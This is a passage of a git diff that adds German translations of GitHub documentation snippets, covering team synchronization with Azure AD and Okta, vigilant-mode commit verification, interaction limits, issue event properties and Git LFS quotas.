+++ b/translations/de-DE/data/reusables/identity-and-permissions/ipv6-allow-lists.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 1df7a9480c4cfd3a5edfc1ee16cd2a3259921e6b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109529"
+---
+{% ifversion fpt or ghec %} {% note %}
+
+**Hinweis**: Für {% data variables.product.company_short %} wird die Unterstützung für IPv6 nach und nach eingeführt. Während die IPv6-Unterstützung für {% data variables.product.prodname_dotcom %}-Dienste hinzugefügt wird, wird auch damit begonnen, IPv6-Adressen von {% data variables.product.prodname_dotcom %} zu erkennen. Stelle sicher, dass du alle erforderlichen IPv6-Adressen zu deiner Zulassungsliste hinzugefügt hast, um mögliche Zugriffsunterbrechungen zu verhindern.
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/revoking-identity-team-sync.md b/translations/de-DE/data/reusables/identity-and-permissions/revoking-identity-team-sync.md
new file mode 100644
index 0000000000..6a3f6c119b
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/revoking-identity-team-sync.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: c12d383636fa249133a034828c97d4e8644fde1a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101576"
+---
+{% warning %}
+
+**Warnung:** Wenn deine Organisation die Teamsynchronisierung verwendet, entfernt das Widerrufen der SSO-Identität einer Person diese Person aus allen Teams, die IdP-Gruppen zugeordnet sind. Weitere Informationen findest du unter [Synchronisieren eines Teams mit einem Identitätsanbieter](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group).
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/supported-idps-team-sync.md b/translations/de-DE/data/reusables/identity-and-permissions/supported-idps-team-sync.md
new file mode 100644
index 0000000000..ce70adfe00
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/supported-idps-team-sync.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 7b2579be640103990eb415e6929852aed2680e3f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877086"
+---
+Du kannst Teamsynchronisierung mit unterstützten IdPs verwenden.
+  - Azure AD
+  - Okta
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/sync-team-with-idp-group.md b/translations/de-DE/data/reusables/identity-and-permissions/sync-team-with-idp-group.md
new file mode 100644
index 0000000000..a2089d73b1
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/sync-team-with-idp-group.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: fde71235e7ad25bd0ffba6b0aa345a3d57ad0889
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101571"
+---
+Nachdem Du die Teamsynchronisierung aktiviert hast, können Team-Betreuer und Organisationsinhaber ein Team auf {% data variables.product.prodname_dotcom %} oder mit dem API zu einer IdP-Gruppe verbinden. Weitere Informationen findest du unter [Synchronisieren eines Teams mit einer Identitätsanbietergruppe](/organizations/organizing-members-into-teams/synchronizing-a-team-with-an-identity-provider-group) und unter [Teamsynchronisierung](/rest/reference/teams#team-sync).
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/team-sync-azure-permissions.md b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-azure-permissions.md
new file mode 100644
index 0000000000..105bfd2e45
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-azure-permissions.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: c1b4b58aff5c6ebd4a2dcf05670fda2b8d45d1e6
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101568"
+---
+Um die Teamsynchronisierung für Azure AD zu ermöglichen, benötigt deine Azure AD-Installation folgende Berechtigungen.
+- Vollständige Profile aller Benutzer lesen
+- Anmelden und Benutzerprofil lesen
+- Verzeichnisdaten lesen
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm-saml.md b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm-saml.md
new file mode 100644
index 0000000000..fea923f729
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm-saml.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 691761504843cce3e7574538b2fc3ba46638f0da
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101567"
+---
+3. Bestätigen Sie, dass SAML-SSO für deine Organisation aktiviert ist. Weitere Informationen findest du unter [Verwalten von SAML-SSO für deine Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/).
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm-scim.md b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm-scim.md
new file mode 100644
index 0000000000..6f17ba8767
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm-scim.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 52c13da11dda93061e5d3e8c4405ba4cc55ab7df
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147093030"
+---
+1. Es wird empfohlen, sicherzustellen, dass deine Benutzer SAML aktiviert haben und über eine verknüpfte SCIM-Identität verfügen, um potenzielle Bereitstellungsfehler zu vermeiden. Weitere Informationen findest du unter [Problembehandlung bei der Identitäts- und Zugriffsverwaltung deiner Organisation](/organizations/managing-saml-single-sign-on-for-your-organization/troubleshooting-identity-and-access-management-for-your-organization).
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm.md b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm.md
new file mode 100644
index 0000000000..10cb697f75
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-confirm.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: fb72e50f286435094c56c642081e6d99833fbac5
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101560"
+---
+5. Bestätige die Teamsynchronisierung.
+    - Wenn du über IdP-Zugriff verfügst, klicke auf **Teamsynchronisierung aktivieren**. Du wirst auf die SAML SSO-Seite deines Identity Providers weitergeleitet und dort zur Auswahl deines Kontos und zur Überprüfung der angeforderten Berechtigungen aufgefordert.
+    - Wenn du keinen IdP-Zugriff hast, kopiere den IdP-Weiterleitungs-Link und teile ihm mit deinem IdP-Administrator, um weiterhin die Teamsynchronisierung aktivieren zu können.
+    ![Weiterleitungsschaltfläche „Teamsynchronisierung aktivieren“](/assets/images/help/teams/confirm-team-synchronization-redirect.png)
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/team-sync-disable.md b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-disable.md
new file mode 100644
index 0000000000..519988e9d0
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-disable.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 1c005afadfe043436fe5537aa94dab9168fff3e4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101559"
+---
+{% warning %}
+
+**Warnung**: Wenn du die Teamsynchronisierung deaktivierst, werden alle Teammitglieder, die einem {% data variables.product.prodname_dotcom %}-Team über die IdP-Gruppe zugewiesen waren, aus dem Team entfernt. Dadurch verlieren diese unter Umständen den Zugriff auf Repositorys.
+
+{% endwarning %}
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/team-sync-okta-requirements.md b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
new file mode 100644
index 0000000000..dd76fe1de3
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-okta-requirements.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: bc73b3b92f131cf0af80606a2650ac5ce898055e
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876985"
+---
+Bevor du die Teamsynchronisierung für Okta aktivierst, müssen du oder dein IdP-Administrator folgendes tun:
+
+- Die Integration von SAML, SSO und SCIM für deine Organisation mit Okta aktivieren. Weitere Informationen findest du unter [Konfigurieren von SAML SSO und SCIM mithilfe von Okta](/organizations/managing-saml-single-sign-on-for-your-organization/configuring-saml-single-sign-on-and-scim-using-okta).
+- Angeben der Mandanten-URL für Ihre Okta-Instanz.
+- Generieren eines gültigen SSWS-Token mit schreibgeschützten Administratorberechtigungen für Ihre Okta-Installation als Dienstbenutzer. Weitere Informationen findest du unter [Create the token](https://developer.okta.com/docs/guides/create-an-api-token/create-the-token/) (Erstellen des Tokens) und [Service users](https://help.okta.com/asa/en-us/Content/Topics/Adv_Server_Access/docs/service-users.htm) (Dienstbenutzer) in der Dokumentation zu Okta.
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/team-sync-required-permissions.md b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-required-permissions.md
new file mode 100644
index 0000000000..421b06a66b
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-required-permissions.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 9133d57ca07dc8abafdf5f8dca8b4cf6ffeb524a
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883884"
+---
+Um die Teamsynchronisierung mit einem beliebigen IdP zu aktivieren, musst Du administrativen Zugriff auf Deinen IdP erhalten oder mit Deinem IdP-Administrator zusammenarbeiten, um die IdP-Integration und die IdP-Gruppen zu konfigurieren. Die Person, die Deine IdP-Integration und IdP-Gruppen konfiguriert, muss über eine der erforderlichen Berechtigungen verfügen.
+
+  | IdP | Erforderliche Berechtigungen |
+  | --- | -------------------- |
+  | Azure AD | <ul><li>Globaler Administrator</li><li>Administrator für privilegierte Rollen</li></ul>
+  | Okta | <ul><li>Dienstbenutzer mit schreibgeschützten Administratorberechtigungen</li></ul>
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/team-sync-usage-limits.md b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-usage-limits.md
new file mode 100644
index 0000000000..9375384bee
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/team-sync-usage-limits.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 67137f8fc39acbc2c502944c0acce296413d868c
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101543"
+---
+### Usage limits (Nutzungseinschränkungen)
+
+Es gibt Nutzungsbeschränkungen für das Teamsynchonisierungsfeature.  Das Überschreiten dieser Beschränkungen kann zu Leistungseinbußen und Synchronisierungsfehlern führen.
+
+- Maximale Anzahl von Mitgliedern in einem GitHub-Team: 5.000
+- Maximale Anzahl von Mitgliedern in einer GitHub-Organisation: 10.000
+- Maximale Anzahl von Teams in einer GitHub-Organisation: 1.500
+
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/verification-status-check.md b/translations/de-DE/data/reusables/identity-and-permissions/verification-status-check.md
new file mode 100644
index 0000000000..0ab9f156a6
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/verification-status-check.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ceca9002f0b79885ad2be33b897ebb4297c2d651
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101540"
+---
+Du kannst den Verifizierungsstatus deiner signierten Commits oder Tags auf {% data variables.product.product_name %} überprüfen und einsehen, warum deine Commit-Signaturen möglicherweise nicht verifiziert sind. Weitere Informationen findest du unter [Überprüfen des Commit- und Signaturüberprüfungsstatus](/articles/checking-your-commit-and-tag-signature-verification-status).
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/vigilant-mode-beta-note.md b/translations/de-DE/data/reusables/identity-and-permissions/vigilant-mode-beta-note.md
new file mode 100644
index 0000000000..8c5bcb44ec
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/vigilant-mode-beta-note.md
@@ -0,0 +1,7 @@
+{% ifversion ghes < 3.7 %}
+{% note %}
+
+**Note:** Vigilant mode is currently in beta and subject to change.
+
+{% endnote %}
+{% endif %}
diff --git a/translations/de-DE/data/reusables/identity-and-permissions/vigilant-mode-verification-statuses.md b/translations/de-DE/data/reusables/identity-and-permissions/vigilant-mode-verification-statuses.md
new file mode 100644
index 0000000000..41c4138c26
--- /dev/null
+++ b/translations/de-DE/data/reusables/identity-and-permissions/vigilant-mode-verification-statuses.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 383458a6038400299b6ab8759b8bbfd1ebbd3a2d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145101536"
+---
+| Status         | BESCHREIBUNG |
+| -------------- | ----------- |
+| **Überprüft**   | Der Commit ist signiert, die Signatur wurde erfolgreich überprüft und der Committer ist der einzige Autor, der den Wächtermodus aktiviert hat. 
+| **Teilweise&nbsp; überprüft** | Der Commit ist signiert und die Signatur wurde erfolgreich überprüft, aber der Commit hat einen Autor, der a) nicht der Committer ist und b) den Wächtermodus aktiviert hat. In diesem Fall garantiert die Commitsignatur nicht die Zustimmung des Autors, daher wird der Commit nur teilweise verifiziert.
+| **Nicht überprüft** | Eine beliebige der folgenden Aussagen trifft zu:<br>– Der Commit ist signiert, aber die Signatur konnte nicht überprüft werden.<br>– Der Commit ist nicht signiert, und der Committer hat den Wächtermodus aktiviert.<br>– Der Commit ist nicht signiert, und ein Autor hat den Wächtermodus aktiviert.<br>
diff --git a/translations/de-DE/data/reusables/interactions/collaborator-user-limit-definition.md b/translations/de-DE/data/reusables/interactions/collaborator-user-limit-definition.md
new file mode 100644
index 0000000000..2d615541db
--- /dev/null
+++ b/translations/de-DE/data/reusables/interactions/collaborator-user-limit-definition.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2b59b56217a82a6bc4421ba7f24f6504cc513c89
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145101535"
+---
+**Nur Mitarbeiter**: Wenn du Interaktionen auf `collaborators_only` beschränkst, werden Benutzer, die keine Mitarbeiter sind, vorübergehend eingeschränkt.
diff --git a/translations/de-DE/data/reusables/interactions/contributor-user-limit-definition.md b/translations/de-DE/data/reusables/interactions/contributor-user-limit-definition.md
new file mode 100644
index 0000000000..2512bc2f5a
--- /dev/null
+++ b/translations/de-DE/data/reusables/interactions/contributor-user-limit-definition.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: dd8c29c23d9259affce4ddb386cfd7299c98dd7c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108375"
+---
+**Nur Mitwirkende:** Wenn du Interaktionen auf `contributors_only` beschränkst, werden Benutzer, die zuvor nicht mitgewirkt haben und keine Projektmitarbeiter sind, vorübergehend eingeschränkt.
diff --git a/translations/de-DE/data/reusables/interactions/existing-user-limit-definition.md b/translations/de-DE/data/reusables/interactions/existing-user-limit-definition.md
new file mode 100644
index 0000000000..e5aa037693
--- /dev/null
+++ b/translations/de-DE/data/reusables/interactions/existing-user-limit-definition.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 285c6ec4c390d5079fca0d9fa482da84a7343e32
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108372"
+---
+**Vorhandene Benutzer**: Wenn du Interaktionen auf `existing_users` beschränkst, werden neue Benutzer, deren Konten noch keine 24 Stunden alt sind, die noch keinen Beitrag geleistet haben und die keine Mitarbeiter sind, vorübergehend eingeschränkt.
diff --git a/translations/de-DE/data/reusables/interactions/interactions-detail.md b/translations/de-DE/data/reusables/interactions/interactions-detail.md
new file mode 100644
index 0000000000..59a6275adc
--- /dev/null
+++ b/translations/de-DE/data/reusables/interactions/interactions-detail.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c529d09f19f5f462deaca3db3516bb2a941dd4e4
+ms.sourcegitcommit: 96bbb6b8f3c9172209d80cb1502017ace3019807
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879188"
+---
+Wenn Einschränkungen aktiviert sind, kann nur der angegebene Typ von {% data variables.product.product_name %}-Benutzer an Interaktionen teilnehmen. Einschränkungen laufen nach einem definierten Zeitraum automatisch ab.
diff --git a/translations/de-DE/data/reusables/issue-events/assignee-properties.md b/translations/de-DE/data/reusables/issue-events/assignee-properties.md
new file mode 100644
index 0000000000..8eec65647a
--- /dev/null
+++ b/translations/de-DE/data/reusables/issue-events/assignee-properties.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a8d2bb3445d291f1e596ed0f03d35b7832902bbe
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108363"
+---
+`assignee` | `object` | Die Person, deren Zuweisung zu diesem Issue aufgehoben wurde.
+`assigner` | `object` | Die Person, die die Zuweisung für dieses Issue aufgehoben hat.
diff --git a/translations/de-DE/data/reusables/issue-events/issue-event-common-properties.md b/translations/de-DE/data/reusables/issue-events/issue-event-common-properties.md
new file mode 100644
index 0000000000..491c9d6d89
--- /dev/null
+++ b/translations/de-DE/data/reusables/issue-events/issue-event-common-properties.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 7ddb09d4432677f68ccc7dcb757548555cd65db9
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147080976"
+---
+Name | type | BESCHREIBUNG
+-----|------|--------------
+`id` | `integer` | Der eindeutige Bezeichner des Ereignisses.
+`node_id` | `string` | Die [globale Knoten-ID](/graphql/guides/using-global-node-ids) des Ereignisses.
+`url`| `string` | Die REST-API-URL zum Abrufen des Ereignisses.
+`actor` | `object`| Die Person, die das Ereignis generiert hat.
+`event` | `string` | Gibt den tatsächlichen Ereignistyp an, der aufgetreten ist.
+`commit_id` | `string` | Der SHA des Commits, der sich auf dieses Issue bezieht.
+`commit_url` | `string` | Der GitHub-REST-API-Link zum Commit, der sich auf dieses Issue bezieht.
+`created_at` | `string` | Der Zeitstempel, der angibt, wann das Ereignis aufgetreten ist.
diff --git a/translations/de-DE/data/reusables/issue-events/label-properties.md b/translations/de-DE/data/reusables/issue-events/label-properties.md
new file mode 100644
index 0000000000..43fd158075
--- /dev/null
+++ b/translations/de-DE/data/reusables/issue-events/label-properties.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 672ad2c3a79057959f7016858e734229b2450157
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881219"
+---
+`label` | `object` | Die aus dem Issue entfernte Bezeichnung `label[name]` | `string` | Der Name der Bezeichnung.
+`label[color]` | `string` | Der hexadezimale Farbcode. 
diff --git a/translations/de-DE/data/reusables/issue-events/project-card-properties.md b/translations/de-DE/data/reusables/issue-events/project-card-properties.md
new file mode 100644
index 0000000000..9890a6943d
--- /dev/null
+++ b/translations/de-DE/data/reusables/issue-events/project-card-properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: d6de5899d8be03969dcb41f1bd7fc9ec18e06f95
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108348"
+---
+`project_card` | `object` | Das Projektkartenobjekt.
+`project_id` | `integer` | Der eindeutige Bezeichner der Projektkarte.
+`project_url` | `string` | Die REST-API-URL zum Abrufen der Projektkarte.
+`column_name` | `string` | Der Name der Spalte, in der das Issue enthalten ist.
diff --git a/translations/de-DE/data/reusables/issue-events/review-dismissed-properties.md b/translations/de-DE/data/reusables/issue-events/review-dismissed-properties.md
new file mode 100644
index 0000000000..3eef678eb9
--- /dev/null
+++ b/translations/de-DE/data/reusables/issue-events/review-dismissed-properties.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 78d6d0b4d9cf98f834352dca2df0de06275e4db9
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108347"
+---
+`dismissed_review` | `object` | Die Informationen für den geschlossenen Review.
+`dismissed_review[state]` | `string` | Der Zustand, in dem sich der Pull Request befand, als er geschlossen wurde. Mögliche Werte: `commented`, `approved` oder `changes_requested`.
+`dismissed_review[review_id]` | `string` | Der eindeutige Bezeichner des Pull Request-Reviews.
+`dismissed_review[dismissal_message]` | `string` | Die Nachricht, die der Benutzer beim Schließen des Reviews eingefügt hat.
+`dismissed_review[dismissal_commit_id]` | `string` | Der eindeutige Bezeichner des Commits, der den Review geschlossen hat, falls vorhanden.
diff --git a/translations/de-DE/data/reusables/issue-events/review-request-properties.md b/translations/de-DE/data/reusables/issue-events/review-request-properties.md
new file mode 100644
index 0000000000..4d75f70d90
--- /dev/null
+++ b/translations/de-DE/data/reusables/issue-events/review-request-properties.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 698b8a5ebd1b419be2e9a049358e9c2a28c372d8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108343"
+---
+`requested_reviewer` | `object` | Die Person, die zum Review des Pull Requests angefordert wurde. 
+`review_requester` | `object` | Die Person, die einen Review angefordert hat.
diff --git a/translations/de-DE/data/reusables/issue-events/timeline_events_object_properties.md b/translations/de-DE/data/reusables/issue-events/timeline_events_object_properties.md
new file mode 100644
index 0000000000..28522637ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/issue-events/timeline_events_object_properties.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3400b78a895743cd2442b3f516dc50ab2afc899b
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884688"
+---
+Diese Ereigniseigenschaften verwenden nicht dieselbe Struktur wie die [allgemeinen Eigenschaften des Issue-Ereignisobjekts](#issue-event-object-common-properties). Die folgenden Eigenschaften werden für dieses Ereignis zurückgegeben.
diff --git a/translations/de-DE/data/reusables/large_files/can-include-lfs-objects-archives.md b/translations/de-DE/data/reusables/large_files/can-include-lfs-objects-archives.md
new file mode 100644
index 0000000000..5963b8a815
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/can-include-lfs-objects-archives.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 7541583969713e4a770f97cfdeb84a65b8a07e4e
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145108335"
+---
+{% ifversion fpt or ghec %} Du kannst auswählen, ob {% data variables.large_files.product_name_short %}-Objekte in den Quellcodearchiven, d. h. ZIP-Dateien und Tarballs, enthalten sein sollen, die {% data variables.product.product_name %} für dein Repository erstellt. Weitere Informationen findest du unter [Verwalten von {% data variables.large_files.product_name_short %}-Objekten in Archiven in deinem Repository](/github/administering-a-repository/managing-git-lfs-objects-in-archives-of-your-repository).
+{% endif %}
diff --git a/translations/de-DE/data/reusables/large_files/does_not_carry.md b/translations/de-DE/data/reusables/large_files/does_not_carry.md
new file mode 100644
index 0000000000..e7c0cf3f31
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/does_not_carry.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 67e3bed8e99cf6ae6efed0c7fabfcaa3afb5d3a6
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108331"
+---
+Nicht genutzte Bandbreite wird nicht monatsweise übertragen.
diff --git a/translations/de-DE/data/reusables/large_files/downgrade_data_packs.md b/translations/de-DE/data/reusables/large_files/downgrade_data_packs.md
new file mode 100644
index 0000000000..5f9f0e6d41
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/downgrade_data_packs.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 9b5aef0deb29a4a9fcd62b9e9e67ffd8ac7e0695
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108324"
+---
+1. Unter „Downgrade data plan" (Datenplan herabstufen) wähle die Anzahl Datenpakete auf welche Du herabstufen möchtest.
+![Auswählen der neuen gewünschte Anzahl von Datenpaketen](/assets/images/help/large_files/downgrade_number_of_data_packs.png)
+2. Klicke zum Fertigstellen des Herabstufens auf **Datenplan herabstufen**.
+![Fertigstellen des Herabstufens deines Datenplans](/assets/images/help/large_files/downgrade_data_plan.png)
diff --git a/translations/de-DE/data/reusables/large_files/free-storage-bandwidth-amount.md b/translations/de-DE/data/reusables/large_files/free-storage-bandwidth-amount.md
new file mode 100644
index 0000000000..a7f99535bd
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/free-storage-bandwidth-amount.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 19524e78cd14d920b492bf4a1042b73705ecbcb4
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108320"
+---
+Jedes Konto, welches {% data variables.large_files.product_name_long %} verwendet, erhält {% data variables.large_files.initial_storage_quota %} kostenlosen Speicher und monatlich {% data variables.large_files.initial_bandwidth_quota %} kostenlose Bandbreite. Wenn Bandbreite und Speicherkontingente nicht ausreichen, kannst Du zusätzliche Kontingente für {% data variables.large_files.product_name_short %} kaufen.
diff --git a/translations/de-DE/data/reusables/large_files/owner_quota_only.md b/translations/de-DE/data/reusables/large_files/owner_quota_only.md
new file mode 100644
index 0000000000..ebf518a353
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/owner_quota_only.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 118f0893777d6e5710e25b1fa0d1e5f4c36dc4f0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108319"
+---
+Bandbreite und Speichernutzung werden nur gegen die Kontingente des Repository-Inhabers angerechnet. In Forks werden Bandbreite und Speichernutzung gegen den Stamm des Repository-Netzwerks angerechnet. Jeder, der Schreibzugriff auf ein Repository hat, kann Dateien auf {% data variables.large_files.product_name_short %} verschieben, ohne seine persönliche Bandbreite und Speicherkontingente zu beeinträchtigen oder Datenpakete zu kaufen. Das Forking und Abrufen eines Repository zählt gegen die Bandbreitenlimite des übergeordneten Repository.
diff --git a/translations/de-DE/data/reusables/large_files/pack_confirm.md b/translations/de-DE/data/reusables/large_files/pack_confirm.md
new file mode 100644
index 0000000000..acb191b0d3
--- /dev/null
+++ b/translations/de-DE/data/reusables/large_files/pack_confirm.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 3c0dfd6d482d6af565202627fc013b90aa563d1a
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
